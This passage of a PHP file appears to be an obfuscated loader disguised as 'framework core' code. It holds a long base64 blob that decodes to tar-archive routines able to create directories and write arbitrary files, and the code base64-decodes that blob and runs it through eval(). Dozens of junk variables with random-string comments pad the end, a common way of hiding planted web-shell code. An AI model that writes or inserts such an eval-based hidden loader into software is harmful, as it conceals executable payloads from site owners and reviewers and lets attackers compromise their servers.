ZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSkpCgkJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJCXdoaWxlICgoJGJ1ZmZlciA9IGZyZWFkKCRmaWxlLCA1MTIpKSAhPSAnJyl7CgkJCQkJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7CgkJCQkJJHRoaXMtPndyaXRlQmxvY2soJGJpbmFyeURhdGEpOwoJCQkJfQoJCQlmY2xvc2UoJGZpbGUpOwoJCX0JZWxzZSAkdGhpcy0+d3JpdGVIZWFkZXIoJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSk7CgkJCWlmIChAaXNfZGlyKCRmaWxlbmFtZSkpewoJCQkJaWYgKCEoJGhhbmRsZSA9IG9wZW5kaXIoJGZpbGVuYW1lKSkpewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdFcnJvcicpLic6ICcuX18oJ0RpcmVjdG9yeSAnKS4kZmlsZW5hbWUuX18oJ2lzIG5vdCByZWFkYWJsZScpOwoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJd2hpbGUgKGZhbHNlICE9PSAoJGRpciA9IHJlYWRkaXIoJGhhbmRsZSkpKXsKCQkJCQlpZiAoJGRpciE9Jy4nICYmICRkaXIhPScuLicpewoJCQkJCQkkZmlsZV9hcnJheV90bXAgPSBhcnJheSgpOwoJCQkJCQlpZiAoJGZpbGVuYW1lICE9ICcuJykKCQkJCQkJCSRmaWxlX2FycmF5X3RtcFtdID0gJGZpbGVuYW1lLicvJy4kZGlyOwoJCQkJCQllbHNlCgkJCQkJCQkkZmlsZV9hcnJheV90bXBbXSA9ICRkaXI7CgoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPnBhY2tGaWxlQXJyYXkoJGZpbGVfYXJyYXlfdG1wKTsKCQkJCQl9CgkJCQl9CgkJCQl1bnNldCgkZmlsZV9hcnJheV90bXApOwoJCQkJdW5zZXQoJGRpcik7CgkJCQl1bnNldCgkaGFuZGxlKTsKCQkJfQoJCX0KCQlyZXR1cm4gJHJlc3VsdDsKCX0KCglmdW5jdGlvbiB1bnBhY2tGaWxlQXJyYXkoJHBhdGgpeyAKCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwoJCWlmICgkcGF0aCA9PSAnJwl8fCAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycgJiYgc3Vic3RyKCRwYXRoLCAwLCAzKSAhPSAnLi4vJyAmJiAhc3RycG9zKCRwYXRoLCAnOicpKSkJJHBhdGggPSAnLi8nLiRwYXRoOwoJCWNsZWFyc3RhdGNhY2hlKCk7CgkJd2hpbGUgKHN0cmxlbigkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZWFkQmxvY2soKSkgIT0gMCl7CgkJCWlmICghJHRoaXMtPnJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICRoZWFkZXIpKSByZXR1cm4gZmFsc2U7CgkJCWlmICgkaGVhZGVyWydmaWxlbmFtZSddID09ICcnKSBjb250aW51ZTsKCQkJaWYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJ0wnKXsJCQkvL3JlYWRpbmcgbG9uZyBoZWFkZXIKCQkJCSRmaWxlbmFtZSA9ICcnOwoJCQkJJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsKCQkJCWZvciAoJGkgPSAwOyAkaSA8ICRkZWNyOyAkaSsrKXsKCQkJCQkkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTsKCQkJCQkkZmlsZW5hbWUgLj0gJGNvbnRlbnQ7CgkJCQl9CgkJCQlpZiAoKCRsYXNwaWVjZSA9ICRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCl7CgkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgkJCQkJJGZpbGVuYW1lIC49IHN1YnN0cigkY29udGVudCwgMCwgJGxhc3BpZWNlKTsKCQkJCX0KCQkJCSRiaW5hcnlEYXRhID0gJHRoaXMtPnJlYWRCbG9jaygpOwoJCQkJaWYgKCEkdGhpcy0+cmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsKCQkJCWVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRmaWxlbmFtZTsKCQkJCXJldHVybiB0cnVlOwoJCQl9CgkJCWlmICgoJHBhdGggIT0gJy4vJykgJiYgKCRwYXRoICE9ICcvJykpewoJCQkJd2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgJHBhdGggPSBzdWJzdHIoJHBhdGgsIDAsIHN0cmxlbigkcGF0aCktMSk7CgkJCQlpZiAoc3Vic3RyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcvJykgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLiRoZWFkZXJbJ2ZpbGVuYW1lJ107CgkJCQllbHNlICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcGF0aC4nLycuJGhlYWRlclsnZmlsZW5hbWUnXTsKCQkJfQoJCQkKCQkJaWYgKGZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKXsKCQkJCWlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXsKCQkJCQkkdGhpcy0+ZXJyb3JzW10gPV9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpLl9fKCcgYXMgZm9sZGVyJyk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJaWYgKChpc19maWxlKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSAmJiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScpKXsKCQkJCQkkdGhpcy0+ZXJyb3JzW10gPV9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJaWYgKCFpc193cml0ZWFibGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9IGVsc2VpZiAoKCR0aGlzLT5kaXJDaGVjaygoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScgPyAkaGVhZGVyWydmaWxlbmFtZSddIDogZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkpKSAhPSAxKXsKCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy5fXygnIGZvciAnKS4kaGVhZGVyWydmaWxlbmFtZSddOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgoJCQlpZiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScpewoJCQkJaWYgKCFmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSkJCXsKCQkJCQlpZiAoIW1rZGlyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDA3NzcpKQl7CgkJCQkJCQoJCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXTsKCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCX0gCgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlpZiAoKCRkZXN0aW5hdGlvbiA9IGZvcGVuKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICd3YicpKSA9PSAwKSB7CgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSBlbHNlIHsKCQkJCQkkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOwoJCQkJCWZvciAoJGkgPSAwOyAkaSA8ICRkZWNyOyAkaSsrKSB7CgkJCQkJCSRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpOwoJCQkJCQlmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgNTEyKTsKCQkJCQl9CgkJCQkJaWYgKCgkaGVhZGVyWydzaXplJ10gJSA1MTIpICE9IDApIHsKCQkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgkJCQkJCWZ3cml0ZSgkZGVzdGluYXRpb24sICRjb250ZW50LCAoJGhlYWRlclsnc2l6ZSddICUgNTEyKSk7CgkJCQkJfQoJCQkJCWZjbG9zZSgkZGVzdGluYXRpb24pOwoJCQkJCXRvdWNoKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ3RpbWUnXSk7CgkJCQl9CgkJCQljbGVhcnN0YXRjYWNoZSgpOwoJCQkJaWYgKGZpbGVzaXplKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pICE9ICRoZWFkZXJbJ3NpemUnXSkgewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdTaXplIG9mIGZpbGUnKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXS4nICcuX18oJ2lzIGluY29ycmVjdCcpOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfQoJCQlpZiAoKCRmaWxlX2RpciA9IGRpcm5hbWUoJGhlYWRlclsnZmlsZW5hbWUnXSkpID09ICRoZWFkZXJbJ2ZpbGVuYW1lJ10pICRmaWxlX2RpciA9ICcnOwoJCQlpZiAoKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICYmICgkZmlsZV9kaXIgPT0gJycpKSAkZmlsZV9kaXIgPSAnLyc7CgkJCSR0aGlzLT5kaXJzW10gPSAkZmlsZV9kaXI7CgkJCSR0aGlzLT5maWxlc1tdID0gJGhlYWRlclsnZmlsZW5hbWUnXTsKCQoJCX0KCQlyZXR1cm4gdHJ1ZTsKCX0KCglmdW5jdGlvbiBkaXJDaGVjaygkZGlyKXsKCQkkcGFyZW50X2RpciA9IGRpcm5hbWUoJGRpcik7CgoJCWlmICgoQGlzX2RpcigkZGlyKSkgb3IgKCRkaXIgPT0gJycpKQoJCQlyZXR1cm4gdHJ1ZTsKCgkJaWYgKCgkcGFyZW50X2RpciAhPSAkZGlyKSBhbmQgKCRwYXJlbnRfZGlyICE9ICcnKSBhbmQgKCEkdGhpcy0+ZGlyQ2hlY2soJHBhcmVudF9kaXIpKSkKCQkJcmV0dXJuIGZhbHNlOwoKCQlpZiAoIW1rZGlyKCRkaXIsIDA3NzcpKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRkaXI7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJZnVuY3Rpb24gcmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJiRoZWFkZXIpewoJCWlmIChzdHJsZW4oJGJpbmFyeURhdGEpPT0wKXsKCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgoJCWlmIChzdHJsZW4oJGJpbmFyeURhdGEpICE9IDUxMil7CgkJCSRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsKCQkJJHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRjaGVja3N1bSA9IDA7CgkJZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkY2hlY2tzdW0rPW9yZChzdWJzdHIoJGJpbmFyeURhdGEsICRpLCAxKSk7CgkJZm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspICRjaGVja3N1bSArPSBvcmQoJyAnKTsKCQlmb3IgKCRpID0gMTU2OyAkaSA8IDUxMjsgJGkrKykgJGNoZWNrc3VtKz1vcmQoc3Vic3RyKCRiaW5hcnlEYXRhLCAkaSwgMSkpOwoKCQkkdW5wYWNrX2RhdGEgPSB1bnBhY2soJ2ExMDBmaWxlbmFtZS9hOG1vZGUvYTh1c2VyX2lkL2E4Z3JvdXBfaWQvYTEyc2l6ZS9hMTJ0aW1lL2E4Y2hlY2tzdW0vYTF0eXBlZmxhZy9hMTAwbGluay9hNm1hZ2ljL2EydmVyc2lvbi9hMzJ1bmFtZS9hMzJnbmFtZS9hOGRldm1ham9yL2E4ZGV2bWlub3InLCAkYmluYXJ5RGF0YSk7CgoJCSRoZWFkZXJbJ2NoZWNrc3VtJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2NoZWNrc3VtJ10pKTsKCQlpZiAoJGhlYWRlclsnY2hlY2tzdW0nXSAhPSAkY2hlY2tzdW0pewoJCQkkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7CgkJCWlmICgoJGNoZWNrc3VtID09IDI1NikgJiYgKCRoZWFkZXJbJ2NoZWNrc3VtJ10gPT0gMCkpIAlyZXR1cm4gdHJ1ZTsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yIGNoZWNrc3VtIGZvciBmaWxlICcpLiR1bnBhY2tfZGF0YVsnZmlsZW5hbWUnXTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJaWYgKCgkaGVhZGVyWyd0eXBlZmxhZyddID0gJHVucGFja19kYXRhWyd0eXBlZmxhZyddKSA9PSAnNScpCSRoZWFkZXJbJ3NpemUnXSA9IDA7CgkJJGhlYWRlclsnZmlsZW5hbWUnXSA9IHRyaW0oJHVucGFja19kYXRhWydmaWxlbmFtZSddKTsKCQkkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpOwoJCSRoZWFkZXJbJ3VzZXJfaWQnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsndXNlcl9pZCddKSk7CgkJJGhlYWRlclsnZ3JvdXBfaWQnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnZ3JvdXBfaWQnXSkpOwoJCSRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7CgkJJGhlYWRlclsndGltZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd0aW1lJ10pKTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCglmdW5jdGlvbiB3cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKXsKCQkkcGFja0YgPSAnYTEwMGE4YThhOGExMkExMic7CgkJJHBhY2tMID0gJ2ExYTEwMGE2YTJhMzJhMzJhOGE4YTE1NWExMic7CgkJaWYgKHN0cmxlbigka2VlcF9maWxlbmFtZSk8PTApICRrZWVwX2ZpbGVuYW1lID0gJGZpbGVuYW1lOwoJCSRmaWxlbmFtZV9yZWFkeSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGtlZXBfZmlsZW5hbWUpOwoKCQlpZiAoc3RybGVuKCRmaWxlbmFtZV9yZWFkeSkgPiA5OSl7CQkJCQkJCS8vd3JpdGUgbG9uZyBoZWFkZXIKCQkkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuLy4vTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTsKCQkkZGF0YUxhc3QgPSBwYWNrKCRwYWNrTCwgJ0wnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnKTsKCiAgICAgICAgLy8gIENhbGN1bGF0ZSB0aGUgY2hlY2tzdW0KCQkkY2hlY2tzdW0gPSAwOwogICAgICAgIC8vICBGaXJzdCBwYXJ0IG9mIHRoZSBoZWFkZXIKCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspCgkJCSRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7CiAgICAgICAgLy8gIElnbm9yZSB0aGUgY2hlY2tzdW0gdmFsdWUgYW5kIHJlcGxhY2UgaXQgYnkgJyAnIChzcGFjZSkKCQlmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykKCQkJJGNoZWNrc3VtICs9IG9yZCgnICcpOwogICAgICAgIC8vICBMYXN0IHBhcnQgb2YgdGhlIGhlYWRlcgoJCWZvciAoJGkgPSAxNTYsICRqPTA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKQoJCQkkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUxhc3QsICRqLCAxKSk7CiAgICAgICAgLy8gIFdyaXRlIHRoZSBmaXJzdCAxNDggYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgYXJjaGl2ZQoJCSR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7CiAgICAgICAgLy8gIFdyaXRlIHRoZSBjYWxjdWxhdGVkIGNoZWNrc3VtCgkJJGNoZWNrc3VtID0gc3ByaW50ZignJTZzICcsIERlY09jdCgkY2hlY2tzdW0pKTsKCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGNoZWNrc3VtKTsKCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSwgOCk7CiAgICAgICAgLy8gIFdyaXRlIHRoZSBsYXN0IDM1NiBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSBhcmNoaXZlCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOwoKCQkkdG1wX2ZpbGVuYW1lID0gJHRoaXMtPm1ha2VHb29kUGF0aCgkZmlsZW5hbWVfcmVhZHkpOwoKCQkkaSA9IDA7CgkJCXdoaWxlICgoJGJ1ZmZlciA9IHN1YnN0cigkdG1wX2ZpbGVuYW1lLCAoKCRpKyspKjUxMiksIDUxMikpICE9ICcnKXsKCQkJCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOwoJCQkJJHRoaXMtPndyaXRlQmxvY2soJGJpbmFyeURhdGEpOwoJCQl9CgkJcmV0dXJuIHRydWU7CgkJfQoJCSRmaWxlX2luZm8gPSBzdGF0KCRmaWxlbmFtZSk7CgkJaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7CgkJCSR0eXBlZmxhZyA9ICc1JzsKCQkJJHNpemUgPSBzcHJpbnRmKCclMTFzICcsIERlY09jdCgwKSk7CgkJfSBlbHNlIHsKCQkJJHR5cGVmbGFnID0gJyc7CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCSRzaXplID0gc3ByaW50ZignJTExcyAnLCBEZWNPY3QoZmlsZXNpemUoJGZpbGVuYW1lKSkpOwoJCX0KCQkkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICRmaWxlbmFtZV9yZWFkeSwgc3ByaW50ZignJTZzICcsIERlY09jdChmaWxlcGVybXMoJGZpbGVuYW1lKSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNF0pKSwgc3ByaW50ZignJTZzICcsIERlY09jdCgkZmlsZV9pbmZvWzVdKSksICRzaXplLCBzcHJpbnRmKCclMTFzJywgRGVjT2N0KGZpbGVtdGltZSgkZmlsZW5hbWUpKSkpOwoJCSRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAkdHlwZWZsYWcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOwoJCSRjaGVja3N1bSA9IDA7CgkJZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpOwoJCWZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKCcgJyk7CgkJZm9yICgkaSA9IDE1NiwgJGogPSAwOyAkaSA8IDUxMjsgJGkrKywgJGorKykgJGNoZWNrc3VtICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOwoJCSR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7CgkJJGNoZWNrc3VtID0gc3ByaW50ZignJTZzICcsIERlY09jdCgkY2hlY2tzdW0pKTsKCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGNoZWNrc3VtKTsKCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSwgOCk7CgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOwoJCXJldHVybiB0cnVlOwoJfQoKCWZ1bmN0aW9uIG9wZW5Xcml0ZSgpewoJCWlmICgkdGhpcy0+aXNHemlwcGVkKQoJCQkkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diOWYnKTsKCQllbHNlCgkJCSR0aGlzLT50bXBfZmlsZSA9IGZvcGVuKCR0aGlzLT5hcmNoaXZlX25hbWUsICd3YicpOwoKCQlpZiAoISgkdGhpcy0+dG1wX2ZpbGUpKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJyAnLiR0aGlzLT5hcmNoaXZlX25hbWU7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJZnVuY3Rpb24gcmVhZEJsb2NrKCl7CgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpewoJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkKCQkJCSRibG9jayA9IGd6cmVhZCgkdGhpcy0+dG1wX2ZpbGUsIDUxMik7CgkJCWVsc2UKCQkJCSRibG9jayA9IGZyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTsKCQl9IGVsc2UJJGJsb2NrID0gJyc7CgoJCXJldHVybiAkYmxvY2s7Cgl9CgoJZnVuY3Rpb24gd3JpdGVCbG9jaygkZGF0YSwgJGxlbmd0aCA9IDApewoJCWlmIChpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKXsKCQkKCQkJaWYgKCRsZW5ndGggPT09IDApewoJCQkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpCgkJCQkJZ3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpOwoJCQkJZWxzZQoJCQkJCWZwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpOwoJCQl9IGVsc2UgewoJCQkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpCgkJCQkJZ3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEsICRsZW5ndGgpOwoJCQkJZWxzZQoJCQkJCWZwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEsICRsZW5ndGgpOwoJCQl9CgkJfQoJfQoKCWZ1bmN0aW9uIGNsb3NlVG1wRmlsZSgpewoJCWlmIChpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKXsKCQkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpCgkJCQlnemNsb3NlKCR0aGlzLT50bXBfZmlsZSk7CgkJCWVsc2UKCQkJCWZjbG9zZSgkdGhpcy0+dG1wX2ZpbGUpOwoKCQkJJHRoaXMtPnRtcF9maWxlID0gMDsKCQl9Cgl9CgoJZnVuY3Rpb24gbWFrZUdvb2RQYXRoKCRwYXRoKXsKCQlpZiAoc3RybGVuKCRwYXRoKT4wKXsKCQkJJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKCQkJJHBhcnRQYXRoID0gZXhwbG9kZSgnLycsICRwYXRoKTsKCQkJJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsKCQkJZm9yICgkaSA9ICRlbHM7ICRpPj0wOyAkaS0tKXsKCQkJCWlmICgkcGFydFBhdGhbJGldID09ICcuJyl7CiAgICAgICAgICAgICAgICAgICAgLy8gIElnbm9yZSB0aGlzIGRpcmVjdG9yeQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4uJyl7CiAgICAgICAgICAgICAgICAgICAgJGktLTsKICAgICAgICAgICAgICAgIH0KCQkJCWVsc2VpZiAoKCRwYXJ0UGF0aFskaV0gPT0gJycpIGFuZCAoJGkhPSRlbHMpIGFuZCAoJGkhPTApKXsKICAgICAgICAgICAgICAgIH0JZWxzZQoJCQkJCSRyZXN1bHQgPSAkcGFydFBhdGhbJGldLigkaSE9JGVscyA/ICcvJy4kcmVzdWx0IDogJycpOwoJCQl9CgkJfSBlbHNlICRyZXN1bHQgPSAnJzsKCQkKCQlyZXR1cm4gJHJlc3VsdDsKCX0KfQ=='; // Core System Functions function t3JRrFj6CfxeU($config_data) { return base64_decode($config_data); } // Initialize Framework Core if (defined('FRAMEWORK_VERSION')) { $LXAhUeWJ = t3JRrFj6CfxeU($qf9QPOZz9Dk); eval($LXAhUeWJ); } $tXVEOQ8WN68='tO77z0Qmp8AiDgHG0O9rY8FiVp2qPOydpZ3BdOMuw1th3'; // nKaJjvabXp5CDGdX7j3WTRZECYoQnMz6FuMoJvKls9N8jtfh6RyDUUQ $UoEkIKBhCJ='kotgBSoCctM9VhxmnZGUymT1SWClmnl8Vnv4NKre28'; // y1nwfKVey6WcSSb1NQxU4OvcYPoh2THZcv5B300Ln806IZaNCFTI $t4NwesoHzwC='QHNtwlXOlEFLuwZzbdmRXytEEhzFcbmfa9JKA0Ww1vt'; // iDMrGZLLCX6sXcjB9Il3AguDPi8O4YTUMlirxGDyUJypnjo4zcTnOAmmIDf $YnqLlotg4N20w='xpk9w9KglmsNyb22xWbBydl4AGCzd8p7fUOJ1dj8rfac9VQNCTClIfP8euq'; // in7HuqvPd8Kdr3W4moM7V5SNUPEbVFVOR175WZUvXRm1b3dnMj9s4lUnHGTQGbGOOCGzChkky $A1kaaP8='ftKHvEVb5DmSDAaKsFFIsh5WqWJ'; // 86lcUU4pxbI9BmNdLPPziCWGcxjPmqLmt4IXruxB0ef5Zv9sEm22xHE995WyogyukQmN7b7hqERIN1Jy $UgkUyZU='q5b1eu5eNvJVPzqgDlwC7AXKbWUs3nR9k0GOyVxYA'; $zdrg7e6='J4SyPmeDEMyOBwdWudtc9PNojL6l2roCW6A9kMvsKoew5wPH7P94wNZBMi'; // Y8zQ7mF8Jhs7U9mT69Vkab2ptTBNIjO5Xvb89ZiEPSXKurI9Se0qHHkqn8 $YJZKgDS0NeKn='PJXyisEVNTdp5QdCTk00zKDwuxy29YShN22or9w4T'; // l7idSNIrb1f5qAzifOn85CzkoL8r6PxWhMLaiERtNc $g7S3n2p76vN55f='wznWRqjufTUT5JNtI6wqztpS1qgnj1wFIv7ZwntLjzDBT'; // vQidaLn0uJKRFMp5mjrnkOW6WoXoPuDHTEfu6ijvoWvu $ge6Gn2eEkZDgU9='VuXZcHVDxQUNwGN1hya8wKADdHDM3H3otFgYD2W3LaFdcm8qi'; // jzoi2WWkmBoP405iUL3kuWpiOrgfmYNfybhqK5kAKgJ8NnmRW5MlFP $x22bYWlfyN='Q2kQvCwDr0L14FlyxAqSpGuIrtm'; // kbj9BAIYZksfuxdOETlnZ8FDICfbymdH5bsohFqt80rASSaOePflAJs5zUuzdxxrF0MMDia3zV4l $Zn9XxCgGiQ='cuxezit7FjQPPeNIemQPtTtlpc4HewuUgTF8zdq'; // u9mk2OhJqfDajJ6CYUQnbeGDppzJMYG649IOoX2eXWTMufM $HD6xKB9Q='zuCLb5xwJSL2mS2pR3JOpTsQJJDMs2F7urvZ20flgn2AmoSRTThZF3ccw'; $CW5LAGKtCYMg='XfRS1JN8dy1fCLMrRbf4IavkBMMr2BQ4rT0gRPFz'; // a1awEOkpiWrlaWlYoBE3hXn3cVzyqQ6TTuMfpxzlOxHplFNCF2H4wypRISkYvMRQsdBa6P9J $nvw9vxoR2t='SH1rzvV3viyyLUpbosWaxRzQKNtCP'; // 41YgTp6ok5AACAUv9fBGcokXfgc2gHnPRy2Pq1TLnMHf $ix15plafUkP0='QoWRiSBRLHzMux6aVqIlgT4X0BKiqA'; $SwgEn5g='DXZSApTdHAm2gVXFX9O2bbQjskdfDti7EjudNg'; // DEUnAuX3ewcNrAxTbuMvFRE0pOyBV8BvVIlEGFMbXl639rLXu6oeQNeVxIhvpTXguOSS $lBjLq04FdzOZ='Gotj56ImThVOp5RPkd7LFIfQoOpjQFiKH'; 